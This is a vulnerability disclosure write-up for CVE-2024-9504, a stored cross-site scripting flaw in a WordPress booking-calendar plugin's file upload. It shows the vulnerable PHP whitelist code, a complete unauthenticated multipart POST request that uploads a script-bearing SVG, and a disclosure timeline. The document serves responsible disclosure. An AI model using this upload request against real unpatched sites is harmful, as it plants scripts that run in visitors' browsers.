CVE-2024-9504 - Stored XSS via SVG File Upload
Rein Daelman
Rein Daelman
CVE-2024-9504 highlights a security flaw in the "Booking calendar, Appointment Booking System" WordPress plugin (versions up to 3.2.15). The vulnerability opens the door for attackers to upload SVG files, resulting in stored cross-site scripting (XSS).
CVE-2024-9504
Recon
This issue was found by "grepping" through WordPress plugins, to find insecure filetypes in whitelists. The regex used that lead to this issue was: svg.*png
. Yes, it was that simple...
The vulnerable function
In the save_reserv
function, we find the following code validating the file-type:
if(count($_FILES)){
$whitelist = array(".jpg",".jpeg",".svg",".gif",".webp",".mpg",".mpeg",".mp3",".tiff",".psd",".bmp",".raw",".png",".bmp",".pdf",".doc",".docx",".xls",".xlsx" );
foreach($_FILES as $key => $file){
$filename = basename($file["name"]);
$file_ext = substr($filename, strripos($filename, '.')); // get file extention
if (file_exists(WPDEVART_UPLOADS . $filename)) {
$filename = $file["name"];
$file_basename = substr($filename, 0, strripos($filename, '.')); // get file name
$filename = $file_basename . time() . $file_ext;
}
if (in_array(strtolower($file_ext), $whitelist)) {
if (move_uploaded_file($file["tmp_name"], WPDEVART_UPLOADS . $filename)) {
$form[$key] = WPDEVART_UPLOADS_URL . $filename;
$files[] = WPDEVART_UPLOADS . $filename;
}
}
}
As SVG's are part of the $whitelist
array, we can simply upload any XSS payload. As this function is called via the wpdevart_form_ajax
ajax action (nopriv), this can be exploited by any unauthenticated attacker.
Proof of Concept (PoC)
- Get the nonce used by the vulnerable plugin. This can be found in the HTML source of any page, in the script tag with the following id:
wpdevart-booking-script-js-extra
. - Send the following POST request to upload the SVG:
POST /wp-admin/admin-ajax.php HTTP/2
Host: localhost
Cookie: <cookies>
Content-Type: multipart/form-data; boundary=---------------------------184883317039327747973502685961
Content-Length: 1759
-----------------------------184883317039327747973502685961
Content-Disposition: form-data; name="action"
wpdevart_form_ajax
-----------------------------184883317039327747973502685961
Content-Disposition: form-data; name="wpdevart_data"
{"wpdevart_form_checkin1":"2024-09-15","wpdevart_form_checkout1":"2024-09-15","wpdevart_count_item1":"1","wpdevart_form_field1":"random-data","wpdevart_form_field2":"random-data","wpdevart_form_field3":"x@x.com","wpdevart_form_field4":"random-data","wpdevart_form_field5":"random-data","wpdevart-submit1":"","wpdevart_extra_price_value1":"0","wpdevart_total_price_value1":"0","wpdevart_price_value1":"0","wpdevart_sale_type1":"","id":"","task":""}
-----------------------------184883317039327747973502685961
Content-Disposition: form-data; name="wpdevart_id"
1
-----------------------------184883317039327747973502685961
Content-Disposition: form-data; name="wpdevart_submit"
1
-----------------------------184883317039327747973502685961
Content-Disposition: form-data; name="wpdevart_nonce"
<INSERT-NONCE-HERE>
-----------------------------184883317039327747973502685961
Content-Disposition: form-data; name="file0"; filename="poc.svg"
Content-Type: image/png
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">
alert();
</script>
</svg>
-----------------------------184883317039327747973502685961--
- Visit the uploaded file. Example URL: https://localhost/wp-content/uploads/booking_calendar/poc.svg
Timeline
- 13th of september > Report submitted to WordFence
- 4th of October > Validated and assigned a CVE
- 10th of October > Bounty of $40 awarded
- 17th of October > Issue fixed in 3.2.16
- 25th of November > CVE published